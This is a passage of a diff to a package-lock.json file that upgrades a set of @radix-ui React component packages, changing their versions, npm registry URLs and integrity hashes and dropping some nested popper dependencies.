}, "node_modules/@radix-ui/react-dialog": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.2.0.tgz", - "integrity": "sha512-l5CX8HdNL+9cc4s7HkNyplumSA3FIx68sg9dttBHKr286fRBwq1MBniDVTeI/tkof92/APntMQvC1YG1Khb0Cg==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.3.1.tgz", + "integrity": "sha512-+0E4qvVTwjAWra9sEhJ+9BTsvHE00zkUuNw1VGh7S+Gc13dfYk+S1PVQdchWDj+XYHhAai7Z7IpzXVDCGsDplg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-dismissable-layer": "1.1.20", - "@radix-ui/react-focus-guards": "1.1.6", - "@radix-ui/react-focus-scope": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-guards": "1.2.0", + "@radix-ui/react-focus-scope": "1.3.1", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" @@ -2010,9 +1988,9 @@ } }, "node_modules/@radix-ui/react-direction": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.5.tgz", - "integrity": "sha512-/NlO/rOqQabmg+GGr86vCmbJVhqTv85NfM9g6Gknf/JVygXeZ6e6HM/RW1omerW9HsFtecwNqgEAKV6UqDsvpA==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.2.0.tgz", + "integrity": "sha512-FtRA52a/r+LKStFT+neLUm+8vSe7wbzkbQGGeU8ixFiwC8NU14Evoq9ATECqL3eGbcUzJR4fyfA4KkK/q6dfqg==", "license": "MIT", "peerDependencies": { "@types/react": "*", @@ -2025,15 +2003,15 @@ } }, "node_modules/@radix-ui/react-dismissable-layer": { - "version": "1.1.20", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.20.tgz", - "integrity": "sha512-35WHRrycfnj2m4LvPiKMKHGLM3Y2WvUA744CkRdxjs1BGDX1c8PVMfmiSGTUwnHRbqdtIoxveYTXvcJSt7VfgQ==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.2.1.tgz", + "integrity": "sha512-KIfDcAsx+oVylFZ4xryVKusJUrLLhTQmfnJW4kwk4Km5myvhHCrj04hnWWUC166+xD4DHdH8tQGylwYX1h6+Pg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-callback-ref": "1.1.4", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-callback-ref": "1.1.5", "@radix-ui/react-use-effect-event": "0.0.5" }, "peerDependencies": { @@ -2052,18 +2030,18 @@ } }, "node_modules/@radix-ui/react-dropdown-menu": { - "version": "2.1.25", - "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.25.tgz", - "integrity": "sha512-45QO76jn/a+cRl6OPgZKCKnIMdfYZaOa6SuAJeKHFiM3orX6bnscuFQJDx3qS4Agp/RE+eKv+9gmUL8t3Ma7bw==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.2.1.tgz", + "integrity": "sha512-XsHcmYG2AcqnvTqrOXXWcMrhquEIlqucizuDH1MV/qMRW+DndpBCMvNeTRXOxqmG1H5j89M/+I0/34Zdd+zDcQ==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", + "@radix-ui/react-context": "1.3.0", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-menu": "2.1.25", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/react-menu": "2.2.1", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -2081,9 +2059,9 @@ } }, "node_modules/@radix-ui/react-focus-guards": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.6.tgz", - "integrity": "sha512-RNOJjfZMTyBM6xYmV3IVGXkPjIhcBAuv48POevAXwrGJhkWZ9p1rFoIS1JFooPuT193AZmRsCPhpoVJxx6OPoQ==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.2.0.tgz", + "integrity": "sha512-MPm5R0iRGUDrDnPNxmLBkv+X7pN4XKzt+MbWJEuJQsH3NFH4omrbpXpucyYCCKTSt+na/ZxGhEWQrWTZ0285cA==", "license": "MIT", "peerDependencies": { "@types/react": "*", @@ -2096,14 +2074,14 @@ } }, "node_modules/@radix-ui/react-focus-scope": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.2.0.tgz", - "integrity": "sha512-I5S7vsAOozx2lWSBAyuXjWIJ/A8qx4fjbv6115WoaRYQSb1yZDaeNHonUAQzXyE8oD+0whJHbQRl4HIE2gQ0Xw==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.3.1.tgz", + "integrity": "sha512-ugeMhbXt4y5S2T1GnIqbWDKEN962PDwnX1fN0eKOOgf5f63Dh2mn8F1FUySlgW0iF6GiVsRF32DzuDIWTUyQJg==", "license": "MIT", "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-callback-ref": "1.1.4" + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-callback-ref": "1.1.5" }, "peerDependencies": { "@types/react": "*", @@ -2121,21 +2099,21 @@ } }, "node_modules/@radix-ui/react-hover-card": { - "version": "1.1.24", - "resolved": "https://registry.npmjs.org/@radix-ui/react-hover-card/-/react-hover-card-1.1.24.tgz", - "integrity": "sha512-0w/tZHRo1fv4WsfcyaOdi5eDftFA8wQkr8WCOOuxw7fx9S2ERfshQioM269aFZsmyAHd0X1LWoZ2BQTlA/JYUw==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-hover-card/-/react-hover-card-1.2.1.tgz", + "integrity": "sha512-4QooHxgmpCKRjj1Pft+hETKidYcrbPKcVwMGtk2Oa5DcWY2IH1fHuQt9LG6q5hUQBBV2MhQxSvtx6B/C1xfiTw==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-dismissable-layer": "1.1.20", - "@radix-ui/react-focus-scope": "1.2.0", - "@radix-ui/react-popper": "1.3.8", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-scope": "1.3.1", + "@radix-ui/react-popper": "1.4.0", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -2180,12 +2158,12 @@ } }, "node_modules/@radix-ui/react-label": { - "version": "2.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.16.tgz", - "integrity": "sha512-2vTQj72YFmeoTxWKJEMbO/9uQt6zzLgbzi0+nWBffq49oo6KhIDP/D+fA2im0wsxBCAX7QfaF3xgsYBVdDbNFQ==", + "version": "2.1.17", + "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.17.tgz", + "integrity": "sha512-xmj7MN/drx1oUAXkfiFIvyDmGNUIN/omGobvA5oAoNqu9zO2MkISYGZOkBcqSzs/UZXXwV+/3ACRE7q7mGcmkA==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -2203,27 +2181,27 @@ } }, "node_modules/@radix-ui/react-menu": { - "version": "2.1.25", - "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.25.tgz", - "integrity": "sha512-e8JaQc0ijBbTx37YVI09Nfq8ThUWJ4L1rvZ3Hvaufehco9/ug9+U3PHz9ue6w3gKd91UcKf9fgDWejeSO+VSKQ==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.2.1.tgz", + "integrity": "sha512-G34BsU90SBj5foYpz8pQqq/Q0Dlfyyl6KitWEfRwXC0QvfwhWNAwS49DWP2+rRJ0iwv20Z2Qx7Sk+T03bGo5JA==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-collection": "1.1.16", + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-collection": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", - "@radix-ui/react-dismissable-layer": "1.1.20", - "@radix-ui/react-focus-guards": "1.1.6", - "@radix-ui/react-focus-scope": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-guards": "1.2.0", + "@radix-ui/react-focus-scope": "1.3.1", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-popper": "1.3.8", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-popper": "1.4.0", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-roving-focus": "1.1.20", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-callback-ref": "1.1.4", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-roving-focus": "1.2.1", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-callback-ref": "1.1.5", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, @@ -2243,24 +2221,24 @@ } }, "node_modules/@radix-ui/react-popover": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-popover/-/react-popover-1.2.0.tgz", - "integrity": "sha512-e70Nh+0iQ+hRAIM2nAGib5BhaDL2Rjlzxw9kIzsU2nz+t3/t82Z5qtPhY5nTnfj8FbmrU6RRIKH8RF3ynCe+vw==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popover/-/react-popover-1.3.1.tgz", + "integrity": "sha512-ZNxvXRx5W2Wos4fXCXb5lpdqN0Z5chf+mStOUOTr4ik7d+62MRvoe9rzCA/eGNg36lxXqSrKEKmwuZEcUrIstw==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-dismissable-layer": "1.1.20", - "@radix-ui/react-focus-guards": "1.1.6", - "@radix-ui/react-focus-scope": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-guards": "1.2.0", + "@radix-ui/react-focus-scope": "1.3.1", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-popper": "1.3.8", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-popper": "1.4.0", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" @@ -2281,21 +2259,21 @@ } }, "node_modules/@radix-ui/react-popper": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz", - "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.4.0.tgz", + "integrity": "sha512-yCWRvLeGv9Pz3+efwHqGPp70mZ56r3kfIgQVF56Oj2aAa4uP/Tb+IE59wNcc+758rctqbCKx4LbK8II/r7Bn0Q==", "license": "MIT", "dependencies": { "@floating-ui/react-dom": "^2.0.0", - "@radix-ui/react-arrow": "1.1.7", - "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-context": "1.1.2", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-callback-ref": "1.1.1", - "@radix-ui/react-use-layout-effect": "1.1.1", - "@radix-ui/react-use-rect": "1.1.1", - "@radix-ui/react-use-size": "1.1.1", - "@radix-ui/rect": "1.1.1" + "@radix-ui/react-arrow": "1.1.17", + "@radix-ui/react-compose-refs": "1.1.5", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-callback-ref": "1.1.5", + "@radix-ui/react-use-layout-effect": "1.1.4", + "@radix-ui/react-use-rect": "1.1.4", + "@radix-ui/react-use-size": "1.1.5", + "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", @@ -2312,99 +2290,13 @@ } } }, - "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-context": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz", - "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-use-callback-ref": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz", - "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-use-layout-effect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", - "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-use-size": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz", - "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==", - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, "node_modules/@radix-ui/react-portal": { - "version": "1.1.18", - "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.18.tgz", - "integrity": "sha512-ygFIJ+QXNKf72AAq8x3hd22+ws7pYpmc1S0E4kW0Je+qD4qEb3FvxeKVQRGrVDMOkQaYfsB+Qs+KDh81a1gAOw==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.2.0.tgz", + "integrity": "sha512-StX7xXnaRU41VvFtMm9zlhVGz8XF6GmWWTXftkQaY+tqVkbs/R9UmAp5mLzHHapk5hM9RMZQvO/3usyIP/g42g==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.11", + "@radix-ui/react-primitive": "2.2.0", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { @@ -2446,12 +2338,12 @@ } }, "node_modules/@radix-ui/react-primitive": { - "version": "2.1.11", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.11.tgz", - "integrity": "sha512-RzcaSw5aKl0OPhBJ1wbolKSF6nVvN+0o/QLeIVq+09npiPdnCkPggy2k6gI6yetxl4ZyrlBPYFgCB8BQJZwXcQ==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.2.0.tgz", + "integrity": "sha512-HCTSPMNqv55Qk0IX4geJbpyXazmqulcimwuyjxTkKi29v+QZbG2Zho9BnbBq4YS2PF+KlNb2CXoLz66uUmblkg==", "license": "MIT", "dependencies": { - "@radix-ui/react-slot": "1.4.0" + "@radix-ui/react-slot": "1.5.0" }, "peerDependencies": { "@types/react": "*", @@ -2469,13 +2361,13 @@ } }, "node_modules/@radix-ui/react-progress": { - "version": "1.1.17", - "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.17.tgz", - "integrity": "sha512-A+RfMARd9u+UaVbLQDmysGlAGuaFQrF+uxF3v+7+xU8tkKoYxtCSs+6HHnIKJVgam2sGZ7c0hLRPWSnmnFyGJQ==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.2.1.tgz", + "integrity": "sha512-yQBiM6J3YM8Ums1orkEFpbznK47geKxa0igikzcaS1xHgdba3DdAQBsGbCTt5BVfR8zhEvgxQ0poGcINaD3lvw==", "license": "MIT", "dependencies": { - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -2493,19 +2385,19 @@ } }, "node_modules/@radix-ui/react-radio-group": { - "version": "1.4.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.4.8.tgz", - "integrity": "sha512-MaOOZ1TlaYoOeSDnHeVIONss0rp5ngOTY5HJY+Xkq16PAopnj21iU9r9m0O/77cBYu8Ksaq3BcjlaOdpbfbzzg==", + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.5.1.tgz", + "integrity": "sha512-QbyVT1ddnjqB9H+CUYKkNWdU9fIK3QHCYtjf7mS6ekSqiuXkWtWn5UZW9mhA8qtl3vrVyIsmR9gePstAtKrqkw==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-roving-focus": "1.1.20", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-roving-focus": "1.2.1", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-size": "1.1.5" }, "peerDependencies": { @@ -2524,20 +2416,20 @@ } }, "node_modules/@radix-ui/react-roving-focus": { - "version": "1.1.20", - "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.20.tgz", - "integrity": "sha512-+ZjbkU21fTSJdn4nq/IFKUdKS+JSZHORBZ8ma1f6YpOMNzRt0xf3sVAWVK/+ktHCajPy4HYDsyHXZIZmOMxzIA==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.2.1.tgz", + "integrity": "sha512-UwraORzVUeEPMclhO1p0vz0qI+TbdDLO9i+FiOqhJyHKwdpCRCck9yVEscUnAMIzCiuNoQa8D4A9bIpOPXGt6Q==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-collection": "1.1.16", + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-collection": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-callback-ref": "1.1.4", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-callback-ref": "1.1.5", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-is-hydrated": "0.1.3", "@radix-ui/react-use-layout-effect": "1.1.4" }, @@ -2557,20 +2449,20 @@ } }, "node_modules/@radix-ui/react-scroll-area": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.3.0.tgz", - "integrity": "sha512-1WSuAXaahfeLmFX/dfYo/ftg1filMfaWjVye2d40VlgtWMMq/NOVocfukZEXkG+dwrAoNI+qpo9bjhNSJ/XC8g==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.4.0.tgz", + "integrity": "sha512-CFrLqHNejWq5FhKAcj9V/WPGRsol76HBQto81NdOBVFEOqIEkJkKIJt0Z824A/9hHLCtoiR/Kw3euRgzXP2pxg==", "license": "MIT", "dependencies": { "@radix-ui/number": "1.1.3", - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-callback-ref": "1.1.4", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-callback-ref": "1.1.5", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { @@ -2589,31 +2481,30 @@ } }, "node_modules/@radix-ui/react-select": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.3.8.tgz", - "integrity": "sha512-Tz9xOpV9Rbca5WTk7pzmfAECV3zb++uScT9mP3Px7ziAhH7SlK53b0uwMw8VubPhRK4x7uDKCy5fwevT8I0fAg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.4.1.tgz", + "integrity": "sha512-888ZwW0Md6GyptuqYABRX9nLKgoYfcooCyBBvVaX5Jp3e+8Jp2i4Zo/Uy50Hm+Ysn2JfloQXstW4U36w8teVtg==", "license": "MIT", "dependencies": { "@radix-ui/number": "1.1.3", - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-collection": "1.1.16", + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-collection": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", - "@radix-ui/react-dismissable-layer": "1.1.20", - "@radix-ui/react-focus-guards": "1.1.6", - "@radix-ui/react-focus-scope": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-guards": "1.2.0", + "@radix-ui/react-focus-scope": "1.3.1", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-popper": "1.3.8", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-popper": "1.4.0", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-callback-ref": "1.1.4", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-callback-ref": "1.1.5", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4", - "@radix-ui/react-use-previous": "1.1.4", - "@radix-ui/react-visually-hidden": "1.2.12", + "@radix-ui/react-visually-hidden": "1.2.13", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.7.2" }, @@ -2633,12 +2524,12 @@ } }, "node_modules/@radix-ui/react-separator": { - "version": "1.1.16", - "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.16.tgz", - "integrity": "sha512-vugPjGQBXbJVVkftKqv/BVeZ108SyRGT3FR1oa14az6qyLgX8jPhnZYHgdSB7Gw8UJusqwb9eaK6mluOnsn/Vg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.2.0.tgz", + "integrity": "sha512-1jUAap0wZEqVP05Ou7kJgRxe/W+Qftng+rUNWGa0qkKbv9r5pWTG3E7a3ELKo2eJoHKMECnzuYrZpSyO1YgcYQ==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -2656,21 +2547,20 @@ } }, "node_modules/@radix-ui/react-slider": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slider/-/react-slider-1.5.0.tgz", - "integrity": "sha512-ZOBLK7KZvGL02V+4VwVbj8NYM4vPrAtyZdrgHSv+AMS9VL+5yAdnQF3DZT4Y8cbCp1Yn4xdp92orvez8fJa77w==", + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slider/-/react-slider-1.6.1.tgz", + "integrity": "sha512-IRNRR90moPqxfwCJ0XbMJIxo70W0/1ZExT/sNCxEHMaPx0SF9HoQrcPEC75+H28cFKa0b+KH63anfLYJmwKacw==", "license": "MIT", "dependencies": { "@radix-ui/number": "1.1.3", - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-collection": "1.1.16", + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-collection": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4", - "@radix-ui/react-use-previous": "1.1.4", 